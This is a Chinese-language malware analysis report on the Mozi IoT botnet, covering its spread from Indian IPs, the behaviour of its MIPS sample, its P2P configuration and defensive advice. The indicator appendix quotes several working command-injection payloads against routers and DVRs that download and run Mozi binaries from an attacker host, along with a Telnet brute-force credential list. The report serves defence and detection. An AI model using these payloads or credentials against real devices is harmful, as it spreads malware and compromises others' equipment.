专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告
作者:answerboy@知道创宇404积极防御实验室
时间:2020年9月18日
1.概述
专项行动期间,某天各大蓝队群内都在交流最近是否收到很多来自印度的攻击流量,最初部分认为是红队在使用印度IP进行攻击。但很快发现事情好像并不是这么简单,通过对攻击Payload特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩张的僵尸网络——Mozi(墨子)僵尸网络。
Mozi僵尸网络是于2019年底首次出现在针对路由器和DVR 的攻击场景上的一种P2P僵尸网络。主要攻击物联网(IoT)设备,包括网件、D-Link和华为等路由设备。它本质上是Mirai的变种,但也包含Gafgyt和IoT Reaper的部分代码,用于进行DDoS攻击、数据窃取、垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大,据统计目前已占到所有物联网(IoT)僵尸网络流量的90% 。
近日知道创宇404积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度IP的攻击。经分析,其中大量的攻击来自Mozi僵尸网络,可能和近期印度Mozi僵尸网络大范围感染并传播有关。
2.追溯分析
2.1发现攻击
近日,知道创宇404积极防御实验室监测到大量来自印度IP的Web攻击,试图通过远程命令执行下载Mozi.m、Mozi.a等恶意文件到被攻击设备上,且使用的User-Agent均为:“Hello, world”。使用的部分攻击Payload如下:
1 2 |
cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 |
图1-攻击日志
通过对样本的分析确定该样本属于Mozi僵尸网络家族。
2.2详细分析
2.2.1 Mozi.m样本分析
捕获到的样本信息:
SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
ELF 头:
Magic | 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 |
---|---|
类别 | ELF32 |
数据 | 2 补码,大端序 (big endian) |
Version | 1 (current) |
OS/ABI | UNIX - System V |
ABI 版本 | 0 |
类型 | EXEC (可执行文件) |
系统架构 | MIPS R3000 |
版本 | 0x1 |
入口点地址 | 0x41fb58 |
程序头起点 | 52 (bytes into file) |
样本通过UPX进行了加壳操作,且将p_info结构中的p_file_size和p_blocksize值擦除为了0,来增强自身的“安全性”。
在成功感染目标设备之后,Mozi为进行自我保护,会通过防火墙阻断SSH、Telnet端口,以防止被其他僵尸网络入侵:
图2-阻断22、2323端口通信
根据感染的设备,修改防火墙策略放行不同的端口来保证自身的通信:
图3-放行自身使用端口
同时读取/proc/net/tcp和/proc/net/raw来查找并KILL掉使用1536和5888端口的进程:
图4-Kill相关进程
检查被感染的设备上是否存在Watchdog来避免重启:
图5-检测Watchdog
检查被感染的设备上是否存在/usr/bin/python,如果存在,则将进程名称更改为sshd,不存在则更改为dropbear,以此来迷惑被攻击者。
图6-更改进程名
分析过程中发现Mozi僵尸网络复用了部分Gafgyt家族僵尸网络的代码,其中内嵌了8个硬编码的公共节点信息,用于加入P2P网络,如下:
图7-内置的节点
在样本中还硬编码了一个使用XOR加密的配置文件及密钥:
图8-配置文件
使用硬编码的秘钥解密后得到如下配置数据: [ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。
新的Mozi节点向http://ia.51.la/
发送HTTP请求,来注册自身。
在通信流量中通过1:v4:JBls
来标记是否为Mozi节点发起的通信。
图9-通信标识
所攻击的设备类型包括:GPON光纤设备、NetGear路由设备、华为HG532交换机系列、D-Link路由设备、使用Realtek SDK的设备、Vacron监控摄像机、斐讯路由器、 USR-G806 4G工业无线路由器等:
图10-攻击的设备类型
同时还在样本中发现硬编码的部分用户名和弱口令,用来对Telnet进行暴力破解攻击,以扩大感染和传播范围,硬编码的部分用户名和密码如下:
图11-部分弱口令密码
2.3攻击分布
自9月以来知道创宇云防御共拦截了来自Mozi僵尸网络的151,952个IP的攻击,总计拦截攻击14,228,252次。与8月份相比,来自印度的攻击显著增加,拦截到的来自印度的攻击IP同比上涨了近30%,所拦截到的总攻击次数上涨了近42%。下图为知道创宇404积极防御实验室自9月以来监测到的来自印度的攻击IP TOP10:
图12-攻击IP TOP10
通过对捕获到的日志分析,对所有被攻击的行业进行分类统计,其中被攻击占比最高的为政府事业单位,以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到45%。如下:
图13-被攻击行业分布
目前Mozi僵尸网络仍在快速扩张,且呈上升趋势,临近十一重保,各单位仍需提高警惕,做好安全防护措施,尤其是各级政府事业单位以及部委机关单位,应提前做好相关设备的安全检查,避免被僵尸网络入侵感染。
3.防护建议
- 1.设备关闭不必要的端口,对使用的端口号进行更改;
- 2.定期更新系统补丁,及时修复相关漏洞;
- 3.服务器切勿使用弱口令,避免被暴力破解;
- 4.根据附件中的Payload阻断存在以下特征的通信;
- 5.关注设备上的可疑进程和外连访问,尤其是近期来自印度的IP。
4附:IoCs
公共节点
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye搜索结果)
82.221.103.244:6881(ZoomEye搜索结果)
130.239.18.159:6881(ZoomEye搜索结果)
87.98.162.88:6881(ZoomEye搜索结果)
部分Payload
1 2 3 4 5 6 7 8 9 |
POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Hello, World Content-Length: 118 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0 |
1 2 3 4 5 6 7 8 9 |
POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope> |
1 |
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0 |
1 2 3 4 5 6 7 |
POST /HNAP1/ HTTP/1.0 Host: %s:80 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
1 2 3 4 5 |
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1 User-Agent: Hello, world Host: %s:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive |
1 2 3 4 5 6 7 8 |
POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7574 User-Agent: Hello, world SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 640 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope> |
1 2 |
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron |
1 2 3 4 5 6 7 8 9 10 |
POST /soap.cgi?service=WANIPConn1 HTTP/1.1 Host: %s:49152 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: */* User-Agent: Hello, World Connection: keep-alive <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope> |
1 |
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 |
暴力破解使用的用户名及弱口令
Username | Password |
---|---|
admin | 00000000 |
telnetadmin | 1111 |
!!Huawei | 1111111 |
admin | 1234 |
root | 12345 |
root | 123456 |
keomeo | 2010vesta |
support | 2011vesta |
CMCCAdmin | 25802580 |
e8telnet | 54321 |
e8ehome1 | 666666 |
e8ehome | 7ujMko0admin |
user | 7ujMko0vizxv |
mother | 888888 |
root | 88888888 |
Administrator | @HuaweiHgw |
service | BrAhMoS@15 |
supervisor | CMCCAdmin |
guest | CUAdmin |
admin1 | Fireitup |
administrator | GM8182 |
ubnt | PhrQjGzk |
tech | Pon521 |
admin | Zte521 |
admin | admin |
telnet | admin1234 |
adminHW | |
adminpass | |
anko | |
cat1029 | |
chzhdpl | |
conexant | |
default | |
dreambox | |
e2008jl | |
e8ehome | |
e8ehome1 | |
e8telnet | |
epicrouter | |
fucker | |
gpon | |
guest | |
gw1admin | |
h@32LuyD | |
hg2x0 | |
hi3518 | |
ikwb | |
juantech | |
jvbzd | |
keomeo | |
klv123 | |
klv1234 | |
meinsm | |
pass | |
password | |
plumeria0077 | |
r@p8p0r+ | |
realtek | |
root | |
service | |
smcadmin | |
supervisor | |
support | |
system | |
tech | |
telnet | |
telnetadmin | |
ubnt | |
user | |
v2mprt | |
vizxv | |
xJ4pCYeW | |
xc3511 | |
xmhdipc | |
zlxx | |
zte | |
SHA256
1 2 |
bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887 |
5.参考链接:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1347/